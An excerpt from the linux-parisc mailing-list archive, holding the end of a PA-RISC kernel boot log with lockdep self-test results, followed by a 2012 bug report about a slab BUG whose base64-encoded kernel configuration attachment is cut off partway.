    hard-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/321:failed|failed|  ok  |
      hard-irq lock-inversion/123:failed|failed|  ok  |
      soft-irq lock-inversion/123:failed|failed|  ok  |
      hard-irq lock-inversion/132:failed|failed|  ok  |
      soft-irq lock-inversion/132:failed|failed|  ok  |
      hard-irq lock-inversion/213:failed|failed|  ok  |
      soft-irq lock-inversion/213:failed|failed|  ok  |
      hard-irq lock-inversion/231:failed|failed|  ok  |
      soft-irq lock-inversion/231:failed|failed|  ok  |
      hard-irq lock-inversion/312:failed|failed|  ok  |
      soft-irq lock-inversion/312:failed|failed|  ok  |
      hard-irq lock-inversion/321:failed|failed|  ok  |
      soft-irq lock-inversion/321:failed|failed|  ok  |
      hard-irq read-recursion/123:  ok  |
      soft-irq read-recursion/123:  ok  |
      hard-irq read-recursion/132:  ok  |
      soft-irq read-recursion/132:  ok  |
      hard-irq read-recursion/213:  ok  |
      soft-irq read-recursion/213:  ok  |
      hard-irq read-recursion/231:  ok  |
      soft-irq read-recursion/231:  ok  |
      hard-irq read-recursion/312:  ok  |
      soft-irq read-recursion/312:  ok  |
      hard-irq read-recursion/321:  ok  |
      soft-irq read-recursion/321:  ok  |
--------------------------------------------------------
144 out of 218 testcases failed, as expected. |
----------------------------------------------------
Calibrating delay loop... 1594.36 BogoMIPS (lpj=3188736)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 256
Brought up 1 CPUs
devtmpfs: initialized
atomic64 test passed
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Storm Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x887, 0x00004 }
2. Storm Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x887, 0x00004 }
3. Storm Peak Slow at 0xfffffffffe798000 [152] { 0, 0x0, 0x887, 0x00004 }
4. Storm Peak Slow at 0xfffffffffe799000 [153] { 0, 0x0, 0x887, 0x00004 }
5. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
8. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
9. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
10. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
11. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
12. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
Releasing cpu 1 now, hpa=fffffffffe781000
FP[1] enabled: Rev 1 Model 20
Releasing cpu 2 now, hpa=fffffffffe798000
FP[2] enabled: Rev 1 Model 20
Releasing cpu 3 now, hpa=fffffffffe799000
FP[3] enabled: Rev 1 Model 20
CPU(s): 4 x PA8800 (Mako) at 800.007300 MHz
Whole cache flush 9074766 cycles, flushing 5840896 bytes 584238 cycles
Setting cache flush threshold to 2000000 (4 CPUs online)
SBA found Pluto 2.3 at 0xfffffffffed00000
Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
LBA 0:0: PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffffffff8fffffff] (bus address [0x80000000-0x8fffffff])
pci_bus 0000:00: root bus resource [mem 0xffffff0004000000-0xffffff0fffffffff]
pci 0000:00:01.0: [1033:0035] type 00 class 0x0c0310
pci 0000:00:01.0: reg 10: [mem 0xffffffff80002000-0xffffffff80002fff]
pci 0000:00:01.0: supports D1 D2
pci 0000:00:01.0: PME# supported from D0 D1 D2 D3hot
pci 0000:00:01.1: [1033:0035] type 00 class 0x0c0310
pci 0000:00:01.1: reg 10: [mem 0xffffffff80001000-0xffffffff80001fff]
pci 0000:00:01.1: supports D1 D2
pci 0000:00:01.1: PME# supported from D0 D1 D2 D3hot
pci 0000:00:01.2: [1033:00e0] type 00 class 0x0c0320
pci 0000:00:01.2: reg 10: [mem 0xffffffff80000000-0xffffffff800000ff]
pci 0000:00:01.2: supports D1 D2
pci 0000:00:01.2: PME# supported from D0 D1 D2 D3hot
pci 0000:00:02.0: [1095:0649] type 00 class 0x01018f
pci 0000:00:02.0: reg 10: [io  0x0d18-0x0d1f]
pci 0000:00:02.0: reg 14: [io  0x0d24-0x0d27]
pci 0000:00:02.0: reg 18: [io  0x0d10-0x0d17]
pci 0000:00:02.0: reg 1c: [io  0x0d20-0x0d23]
pci 0000:00:02.0: reg 20: [io  0x0d00-0x0d0f]
pci 0000:00:02.0: supports D1 D2
Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
LBA 0:1: PCI host bridge to bus 0000:20
pci_bus 0000:20: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
pci_bus 0000:20: root bus resource [mem 0xffffffff90000000-0xffffffff9fffffff] (bus address [0x90000000-0x9fffffff])
pci_bus 0000:20: root bus resource [mem 0xffffff1004000000-0xffffff1fffffffff]
pci 0000:20:01.0: [1000:0021] type 00 class 0x010000
pci 0000:20:01.0: reg 10: [io  0x12100-0x121ff]
pci 0000:20:01.0: reg 14: [mem 0xffffffff90015000-0xffffffff900153ff 64bit]
pci 0000:20:01.0: reg 1c: [mem 0xffffffff90012000-0xffffffff90013fff 64bit]
pci 0000:20:01.0: supports D1 D2
pci 0000:20:01.1: [1000:0021] type 00 class 0x010000
pci 0000:20:01.1: reg 10: [io  0x12000-0x120ff]
pci 0000:20:01.1: reg 14: [mem 0xffffffff90014000-0xffffffff900143ff 64bit]
pci 0000:20:01.1: reg 1c: [mem 0xffffffff90010000-0xffffffff90011fff 64bit]
pci 0000:20:01.1: supports D1 D2
pci 0000:20:02.0: [14e4:1645] type 00 class 0x020000
pci 0000:20:02.0: reg 10: [mem 0xffffffff90000000-0xffffffff9000ffff 64bit]
pci 0000:20:02.0: PME# supported from D3hot D3cold
Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
LBA 0:2: PCI host bridge to bus 0000:40
pci_bus 0000:40: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
pci_bus 0000:40: root bus resource [mem 0xffffff2004000000-0xffffff2fffffffff]
Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
LBA 0:3: PCI host bridge to bus 0000:60
pci_bus 0000:60: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
pci_bus 0000:60: root bus resource [mem 0xffffff3004000000-0xffffff3fffffffff]
Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
LBA 0:4: PCI host bridge to bus 0000:80
pci_bus 0000:80: root bus resource [io  0x40000-0x4ffff] (bus address [0x0000-0xffff])
pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffcfffffff] (bus address [0xc0000000-0xcfffffff])
pci_bus 0000:80: root bus resource [mem 0xffffff4004000000-0xffffff4fffffffff]
Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
LBA 0:6: PCI host bridge to bus 0000:c0
pci_bus 0000:c0: root bus resource [io  0x50000-0x5ffff] (bus address [0x0000-0xffff])
pci_bus 0000:c0: root bus resource [mem 0xffffffffe0000000-0xffffffffefffffff] (bus address [0xe0000000-0xefffffff])
pci_bus 0000:c0: root bus resource [mem 0xffffff6004000000-0xffffff6fffffffff]
Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
LBA: Truncating lmmio_space [fffffffff0000000/fffffffffecffffe] to [fffffffff0000000,fffffffffe77ffff]
LBA 0:7: PCI host bridge to bus 0000:e0
pci_bus 0000:e0: root bus resource [io  0x60000-0x6ffff] (bus address [0x0000-0xffff])
pci_bus 0000:e0: root bus resource [mem 0xfffffffff0000000-0xfffffffffe77ffff] (bus address [0xf0000000-0xfe77ffff])
pci_bus 0000:e0: root bus resource [mem 0xffffff7004000000-0xffffff7fffffffff]
pci 0000:e0:01.0: [103c:1290] type 00 class 0x078000
pci 0000:e0:01.0: reg 18: [mem 0xfffffffff4051000-0xfffffffff405100f]
pci 0000:e0:01.1: [103c:1048] type 00 class 0x070002
pci 0000:e0:01.1: reg 10: [mem 0xfffffffff4050000-0xfffffffff4050fff]
pci 0000:e0:01.1: reg 18: [mem 0xfffffffff4020000-0xfffffffff403ffff pref]
pci 0000:e0:02.0: [1002:5159] type 00 class 0x030000
pci 0000:e0:02.0: reg 10: [mem 0xfffffffff0000000-0xfffffffff3ffffff pref]
pci 0000:e0:02.0: reg 14: [io  0x6e000-0x6e0ff]
pci 0000:e0:02.0: reg 18: [mem 0xfffffffff4040000-0xfffffffff404ffff]
pci 0000:e0:02.0: reg 30: [mem 0xfffffffff4000000-0xfffffffff401ffff pref]
pci 0000:e0:02.0: supports D1 D2
powersw: Soft power switch support not available.
bio: create slab <bio-0> at 0
vgaarb: device added: PCI:0000:e0:02.0,decodes=io+mem,owns=io+mem,locks=none
vgaarb: loaded
vgaarb: bridge control possible 0000:e0:02.0
NET: Registered protocol family 2
IP route cache hash table entries: 524288 (order: 10, 4194304 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP: reno registered
UDP hash table entries: 8192 (order: 6, 262144 bytes)
UDP-Lite hash table entries: 8192 (order: 6, 262144 bytes)
NET: Registered protocol family 1
PCI: CLS 64 bytes
Trying to unpack rootfs image as initramfs...
Freeing initrd memory: 7625k freed
Performance monitoring counters enabled for Storm Peak Slow
msgmni has been set to 20093
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
start plist test
end plist test
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 73) is a 16550A
0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 73) is a 16550A
console [ttyS1] enabled, bootconsole disabled
0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 73) is a 16550A
0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 73) is a 16550A
Linux agpgart interface v0.103
brd: module loaded
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
mousedev: PS/2 mouse device common for all mice
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
TCP: cubic registered
rtc-generic rtc-generic: setting system clock to 2012-05-14 00:36:09 UTC (1336955769)
Freeing unused kernel memory: 216k freed
udevd[836]: starting version 175
SCSI subsystem initialized
tg3.c:v3.123 (March 21, 2012)
libata version 3.00 loaded.
pata_cmd64x 0000:00:02.0: Secondary port is disabled
scsi0 : pata_cmd64x
scsi1 : pata_cmd64x
ata1: PATA max UDMA/100 cmd 0xd18 ctl 0xd24 bmdma 0xd00 irq 69
ata2: DUMMY
pata_cmd64x: active 10 recovery 10 setup 3.
pata_cmd64x: active 10 recovery 10 setup 3.
ata1.00: ATAPI: DW-224E, C.0B, max UDMA/33
pata_cmd64x: active 3 recovery 1 setup 1.
ata1.00: configured for UDMA/33
scsi 0:0:0:0: CD-ROM            TEAC     DW-224E          C.0B PQ: 0 ANSI: 5
sr0: scsi3-mmc drive: 24x/24x writer cd/rw xa/form2 cdda tray
cdrom: Uniform CD-ROM driver Revision: 3.20
sr 0:0:0:0: Attached scsi CD-ROM sr0
tg3 0000:20:02.0: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:16:4d
tg3 0000:20:02.0: eth0: attached PHY is 5701 (10/100/1000Base-T Ethernet) (WireSpeed[1], EEE[0])
tg3 0000:20:02.0: eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] TSOcap[0]
tg3 0000:20:02.0: eth0: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 70
sym0: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi2 : sym-2.2.3
scsi 2:0:0:0: Direct-Access     FUJITSU  MAJ3364MC        HP12 PQ: 0 ANSI: 2
scsi target2:0:0: tagged command queuing enabled, command queue depth 16.
scsi target2:0:0: Beginning Domain Validation
scsi target2:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 62)
scsi target2:0:0: Ending Domain Validation
sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 71
sym1: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi3 : sym-2.2.3
scsi 3:0:2:0: Direct-Access     SEAGATE  ST318203LC       HP04 PQ: 0 ANSI: 2
scsi target3:0:2: tagged command queuing enabled, command queue depth 16.
scsi target3:0:2: Beginning Domain Validation
scsi target3:0:2: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 15)
scsi target3:0:2: Domain Validation skipping write tests
scsi target3:0:2: Ending Domain Validation
sd 2:0:0:0: [sda] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
sd 3:0:2:0: [sdb] 35566480 512-byte logical blocks: (18.2 GB/16.9 GiB)
sd 2:0:0:0: [sda] Write Protect is off
sd 2:0:0:0: [sda] Mode Sense: ab 00 10 08
sd 3:0:2:0: [sdb] Write Protect is off
sd 3:0:2:0: [sdb] Mode Sense: 9f 00 10 08
sd 2:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports DPO and FUA
sd 3:0:2:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FUA
 sdb: sdb1 sdb2
 sda: sda1 sda2 sda3 < sda5 sda6 sda7 >
sd 3:0:2:0: [sdb] Attached SCSI disk
sd 2:0:0:0: [sda] Attached SCSI disk
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda5): mounted filesystem with writeback data mode
udevd[1019]: starting version 175
udisks-part-id(1135): unaligned access to 0x00000000fafdc98e at ip=0x0000000000012b53
udisks-part-id(1135): unaligned access to 0x00000000fafdc992 at ip=0x0000000000012bc7
udisks-part-id(1135): unaligned access to 0x00000000fafdc99e at ip=0x0000000000012b53
udisks-part-id(1135): unaligned access to 0x00000000fafdc9a2 at ip=0x0000000000012bc7
udisks-part-id(1134): unaligned access to 0x00000000fb3db98e at ip=0x0000000000012b53
Adding 979928k swap on /dev/sda6.  Priority:-1 extents:1 across:979928k 
EXT3-fs (sda5): using internal journal
handle_unaligned: 179 callbacks suppressed
udisks-part-id(1617): unaligned access to 0x00000000fb6239ce at ip=0x0000000000012b53
udisks-part-id(1617): unaligned access to 0x00000000fb6239d2 at ip=0x0000000000012bc7
udisks-part-id(1617): unaligned access to 0x00000000fb6239de at ip=0x0000000000012b53
udisks-part-id(1617): unaligned access to 0x00000000fb6239e2 at ip=0x0000000000012bc7
udisks-part-id(1617): unaligned access to 0x00000000fb6239ee at ip=0x0000000000012b53
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda7): using internal journal
EXT3-fs (sda7): mounted filesystem with writeback data mode
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sdb1): using internal journal
EXT3-fs (sdb1): mounted filesystem with writeback data mode
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sdb2): using internal journal
EXT3-fs (sdb2): mounted filesystem with writeback data mode
NET: Registered protocol family 10
ADDRCONF(NETDEV_UP): eth0: link is not ready
tg3 0000:20:02.0: eth0: Link is up at 100 Mbps, full duplex
tg3 0000:20:02.0: eth0: Flow control is on for TX and on for RX
ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).

--Apple-Mail-2-20889562--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: kernel BUG at mm/slab.c:3109!
Date: Mon, 14 May 2012 20:48:33 +0200
Lines: 1235
Approved: news@gmane.org
Message-ID: <20120514204833.686bc9b3@epia.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/tCH6yu5_8jtJ/=q/2bIsR42"
X-Trace: dough.gmane.org 1337021326 10820 80.91.229.3 (14 May 2012 18:48:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 May 2012 18:48:46 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 14 20:48:44 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SU0K2-0003Tz-Ss
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 May 2012 20:48:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932114Ab2ENSsm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 May 2012 14:48:42 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:52102 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932073Ab2ENSsk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 May 2012 14:48:40 -0400
Original-Received: from epia.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 3569B1BC0B0
	for <linux-parisc@vger.kernel.org>; Mon, 14 May 2012 18:48:38 +0000 (UTC)
X-Mailer: Claws Mail 3.8.0 (GTK+ 2.24.10; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4375
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4375>

--MP_/tCH6yu5_8jtJ/=q/2bIsR42
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

This is with the cache-2 patch.

Now trying to build with SLUB to see if the problem goes away. Any more
information needed?


     jer
--MP_/tCH6yu5_8jtJ/=q/2bIsR42
Content-Type: text/plain
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=config-3.2.12-gentoo

Iw0KIyBBdXRvbWF0aWNhbGx5IGdlbmVyYXRlZCBmaWxlOyBETyBOT1QgRURJVC4NCiMgTGludXgv
cGFyaXNjIDMuMi4xMi1nZW50b28gS2VybmVsIENvbmZpZ3VyYXRpb24NCiMNCkNPTkZJR19QQVJJ
U0M9eQ0KQ09ORklHX01NVT15DQpDT05GSUdfU1RBQ0tfR1JPV1NVUD15DQpDT05GSUdfR0VORVJJ
Q19MT0NLQlJFQUs9eQ0KQ09ORklHX1JXU0VNX0dFTkVSSUNfU1BJTkxPQ0s9eQ0KIyBDT05GSUdf
QVJDSF9IQVNfSUxPRzJfVTMyIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FSQ0hfSEFTX0lMT0cyX1U2
NCBpcyBub3Qgc2V0DQpDT05GSUdfR0VORVJJQ19CVUc9eQ0KQ09ORklHX0dFTkVSSUNfSFdFSUdI
VD15DQpDT05GSUdfR0VORVJJQ19DQUxJQlJBVEVfREVMQVk9eQ0KQ09ORklHX1RJTUVfTE9XX1JF
Uz15DQpDT05GSUdfSEFWRV9MQVRFTkNZVE9QX1NVUFBPUlQ9eQ0KQ09ORklHX1NUQUNLVFJBQ0Vf
U1VQUE9SVD15DQpDT05GSUdfTkVFRF9ETUFfTUFQX1NUQVRFPXkNCkNPTkZJR19ORUVEX1NHX0RN
QV9MRU5HVEg9eQ0KQ09ORklHX0RFRkNPTkZJR19MSVNUPSIvbGliL21vZHVsZXMvJFVOQU1FX1JF
TEVBU0UvLmNvbmZpZyINCkNPTkZJR19DT05TVFJVQ1RPUlM9eQ0KQ09ORklHX0hBVkVfSVJRX1dP
Uks9eQ0KQ09ORklHX0lSUV9XT1JLPXkNCg0KIw0KIyBHZW5lcmFsIHNldHVwDQojDQpDT05GSUdf
RVhQRVJJTUVOVEFMPXkNCkNPTkZJR19JTklUX0VOVl9BUkdfTElNSVQ9MzINCkNPTkZJR19DUk9T
U19DT01QSUxFPSJocHBhNjQtdW5rbm93bi1saW51eC1nbnUtIg0KQ09ORklHX0xPQ0FMVkVSU0lP
Tj0iLUplUiINCiMgQ09ORklHX0xPQ0FMVkVSU0lPTl9BVVRPIGlzIG5vdCBzZXQNCkNPTkZJR19E
RUZBVUxUX0hPU1ROQU1FPSJlbG1lciINCkNPTkZJR19TV0FQPXkNCkNPTkZJR19TWVNWSVBDPXkN
CkNPTkZJR19TWVNWSVBDX1NZU0NUTD15DQpDT05GSUdfUE9TSVhfTVFVRVVFPXkNCkNPTkZJR19Q
T1NJWF9NUVVFVUVfU1lTQ1RMPXkNCkNPTkZJR19CU0RfUFJPQ0VTU19BQ0NUPXkNCkNPTkZJR19C
U0RfUFJPQ0VTU19BQ0NUX1YzPXkNCkNPTkZJR19GSEFORExFPXkNCkNPTkZJR19UQVNLU1RBVFM9
eQ0KQ09ORklHX1RBU0tfREVMQVlfQUNDVD15DQpDT05GSUdfVEFTS19YQUNDVD15DQpDT05GSUdf
VEFTS19JT19BQ0NPVU5USU5HPXkNCkNPTkZJR19BVURJVD15DQpDT05GSUdfSEFWRV9HRU5FUklD
X0hBUkRJUlFTPXkNCg0KIw0KIyBJUlEgc3Vic3lzdGVtDQojDQpDT05GSUdfR0VORVJJQ19IQVJE
SVJRUz15DQpDT05GSUdfR0VORVJJQ19JUlFfUFJPQkU9eQ0KDQojDQojIFJDVSBTdWJzeXN0ZW0N
CiMNCkNPTkZJR19UUkVFX1BSRUVNUFRfUkNVPXkNCkNPTkZJR19QUkVFTVBUX1JDVT15DQojIENP
TkZJR19SQ1VfVFJBQ0UgaXMgbm90IHNldA0KQ09ORklHX1JDVV9GQU5PVVQ9NjQNCiMgQ09ORklH
X1JDVV9GQU5PVVRfRVhBQ1QgaXMgbm90IHNldA0KIyBDT05GSUdfVFJFRV9SQ1VfVFJBQ0UgaXMg
bm90IHNldA0KIyBDT05GSUdfUkNVX0JPT1NUIGlzIG5vdCBzZXQNCkNPTkZJR19JS0NPTkZJRz15
DQpDT05GSUdfSUtDT05GSUdfUFJPQz15DQpDT05GSUdfTE9HX0JVRl9TSElGVD0xNw0KQ09ORklH
X0NHUk9VUFM9eQ0KQ09ORklHX0NHUk9VUF9ERUJVRz15DQpDT05GSUdfQ0dST1VQX0ZSRUVaRVI9
eQ0KQ09ORklHX0NHUk9VUF9ERVZJQ0U9eQ0KQ09ORklHX0NQVVNFVFM9eQ0KQ09ORklHX1BST0Nf
UElEX0NQVVNFVD15DQpDT05GSUdfQ0dST1VQX0NQVUFDQ1Q9eQ0KQ09ORklHX1JFU09VUkNFX0NP
VU5URVJTPXkNCiMgQ09ORklHX0NHUk9VUF9NRU1fUkVTX0NUTFIgaXMgbm90IHNldA0KQ09ORklH
X0NHUk9VUF9QRVJGPXkNCkNPTkZJR19DR1JPVVBfU0NIRUQ9eQ0KQ09ORklHX0ZBSVJfR1JPVVBf
U0NIRUQ9eQ0KQ09ORklHX0NGU19CQU5EV0lEVEg9eQ0KQ09ORklHX1JUX0dST1VQX1NDSEVEPXkN
CkNPTkZJR19CTEtfQ0dST1VQPXkNCiMgQ09ORklHX0RFQlVHX0JMS19DR1JPVVAgaXMgbm90IHNl
dA0KQ09ORklHX05BTUVTUEFDRVM9eQ0KQ09ORklHX1VUU19OUz15DQpDT05GSUdfSVBDX05TPXkN
CkNPTkZJR19VU0VSX05TPXkNCkNPTkZJR19QSURfTlM9eQ0KQ09ORklHX05FVF9OUz15DQpDT05G
SUdfU0NIRURfQVVUT0dST1VQPXkNCiMgQ09ORklHX1NZU0ZTX0RFUFJFQ0FURUQgaXMgbm90IHNl
dA0KQ09ORklHX1JFTEFZPXkNCiMgQ09ORklHX0JMS19ERVZfSU5JVFJEIGlzIG5vdCBzZXQNCkNP
TkZJR19DQ19PUFRJTUlaRV9GT1JfU0laRT15DQpDT05GSUdfU1lTQ1RMPXkNCkNPTkZJR19BTk9O
X0lOT0RFUz15DQpDT05GSUdfRVhQRVJUPXkNCkNPTkZJR19TWVNDVExfU1lTQ0FMTD15DQpDT05G
SUdfS0FMTFNZTVM9eQ0KIyBDT05GSUdfS0FMTFNZTVNfQUxMIGlzIG5vdCBzZXQNCkNPTkZJR19I
T1RQTFVHPXkNCkNPTkZJR19QUklOVEs9eQ0KQ09ORklHX0JVRz15DQpDT05GSUdfRUxGX0NPUkU9
eQ0KQ09ORklHX0JBU0VfRlVMTD15DQpDT05GSUdfRlVURVg9eQ0KQ09ORklHX0VQT0xMPXkNCkNP
TkZJR19TSUdOQUxGRD15DQpDT05GSUdfVElNRVJGRD15DQpDT05GSUdfRVZFTlRGRD15DQpDT05G
SUdfU0hNRU09eQ0KQ09ORklHX0FJTz15DQpDT05GSUdfRU1CRURERUQ9eQ0KQ09ORklHX0hBVkVf
UEVSRl9FVkVOVFM9eQ0KDQojDQojIEtlcm5lbCBQZXJmb3JtYW5jZSBFdmVudHMgQW5kIENvdW50
ZXJzDQojDQpDT05GSUdfUEVSRl9FVkVOVFM9eQ0KQ09ORklHX1BFUkZfQ09VTlRFUlM9eQ0KIyBD
T05GSUdfREVCVUdfUEVSRl9VU0VfVk1BTExPQyBpcyBub3Qgc2V0DQpDT05GSUdfVk1fRVZFTlRf
Q09VTlRFUlM9eQ0KQ09ORklHX1BDSV9RVUlSS1M9eQ0KIyBDT05GSUdfQ09NUEFUX0JSSyBpcyBu
b3Qgc2V0DQpDT05GSUdfU0xBQj15DQojIENPTkZJR19TTFVCIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NMT0IgaXMgbm90IHNldA0KQ09ORklHX1BST0ZJTElORz15DQpDT05GSUdfT1BST0ZJTEU9bQ0K
Q09ORklHX0hBVkVfT1BST0ZJTEU9eQ0KQ09ORklHX1VTRV9HRU5FUklDX1NNUF9IRUxQRVJTPXkN
CkNPTkZJR19BUkNIX0hBVkVfTk1JX1NBRkVfQ01QWENIRz15DQoNCiMNCiMgR0NPVi1iYXNlZCBr
ZXJuZWwgcHJvZmlsaW5nDQojDQpDT05GSUdfR0NPVl9LRVJORUw9eQ0KIyBDT05GSUdfSEFWRV9H
RU5FUklDX0RNQV9DT0hFUkVOVCBpcyBub3Qgc2V0DQpDT05GSUdfU0xBQklORk89eQ0KQ09ORklH
X1JUX01VVEVYRVM9eQ0KQ09ORklHX0JBU0VfU01BTEw9MA0KQ09ORklHX01PRFVMRVM9eQ0KQ09O
RklHX01PRFVMRV9GT1JDRV9MT0FEPXkNCkNPTkZJR19NT0RVTEVfVU5MT0FEPXkNCkNPTkZJR19N
T0RVTEVfRk9SQ0VfVU5MT0FEPXkNCiMgQ09ORklHX01PRFZFUlNJT05TIGlzIG5vdCBzZXQNCiMg
Q09ORklHX01PRFVMRV9TUkNWRVJTSU9OX0FMTCBpcyBub3Qgc2V0DQpDT05GSUdfSU5JVF9BTExf
UE9TU0lCTEU9eQ0KQ09ORklHX1NUT1BfTUFDSElORT15DQpDT05GSUdfQkxPQ0s9eQ0KQ09ORklH
X0JMS19ERVZfQlNHPXkNCiMgQ09ORklHX0JMS19ERVZfQlNHTElCIGlzIG5vdCBzZXQNCkNPTkZJ
R19CTEtfREVWX0lOVEVHUklUWT15DQpDT05GSUdfQkxLX0RFVl9USFJPVFRMSU5HPXkNCkNPTkZJ
R19CTE9DS19DT01QQVQ9eQ0KDQojDQojIElPIFNjaGVkdWxlcnMNCiMNCkNPTkZJR19JT1NDSEVE
X05PT1A9eQ0KIyBDT05GSUdfSU9TQ0hFRF9ERUFETElORSBpcyBub3Qgc2V0DQpDT05GSUdfSU9T
